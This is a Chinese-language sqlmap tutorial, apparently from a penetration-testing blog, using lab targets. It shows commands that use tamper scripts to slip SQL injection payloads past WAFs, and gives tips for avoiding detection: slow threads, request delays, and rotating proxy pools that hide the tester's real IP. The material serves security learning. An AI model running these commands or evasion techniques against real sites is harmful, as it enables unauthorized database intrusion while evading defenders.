文中通过详细讲解SQLMAP工具,更加深入的掌握SQLMAP用法;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
sqlmap实战渗透技巧三
使用tamper参数
当我们在实战过程中,通常会遇到防火墙或WAF这些进行防护,导致我们无法得到注入的结果,所以在使用sqlmap脚本的时候通常会使用–tamper参数,这个参数的主要作用就是将我们的sqlmap中的攻击payload根据需要来进行转换编码,从而实现绕过效果:
sqlmap --list-tampers #来参加默认的tamper脚本以及作用
宽字节脚本
当我们在检测中被拦截,通常sqlmap中会提示我们是否使用–tamper来进行绕过:
当存在宽字节注入时,使用unmagicquotes.py这个脚本:
sqlmap -u "http://192.168.1.6:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 4
base64脚本
当需要进行base64进行编码时,使用base64encode.py这个脚本:
sqlmap -u "http://192.168.1.6:7766/Less-32/?id=1" --dbms mysql --tamper "base64encode.py" -v 4
同样我们也可以多个脚本一起使用:
在遇到waf时,尽可能的将线程调至最低,因为如果并发过大,会被认为是cc攻击,那么ip将会被封堵:
--threads=1 #设置线程为1
使用延时参数
同样我们也可以在我们的请求中加入延时参数,尽可能让我们的请求看上去正常化:
-delay=3 #每三秒再返回我们的请求
使用代理地址池
同样我们可以使用代理地址的方式,来避免真实IP被检测,使用–proxy这个参数:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --flush-session --proxy=http://192.168.1.5:7788
这里我们在burp上面建立了一条端口为7788的隧道,当我们使用–proxy参数时,每次执行都能正常抓到数据包,所以就说明可以通过这个方法使用代理地址进行检测:
同样我们也可以使用代理地址池来进行检测,主要的作用是当我们地址池中的IP被封后,会自动使用地址池中下一个地址来进行检测:
--proxy-file=proxy.txt
至于这代理地址池可以在网上购买,同样也可以使用github上面的一些api接口来获取。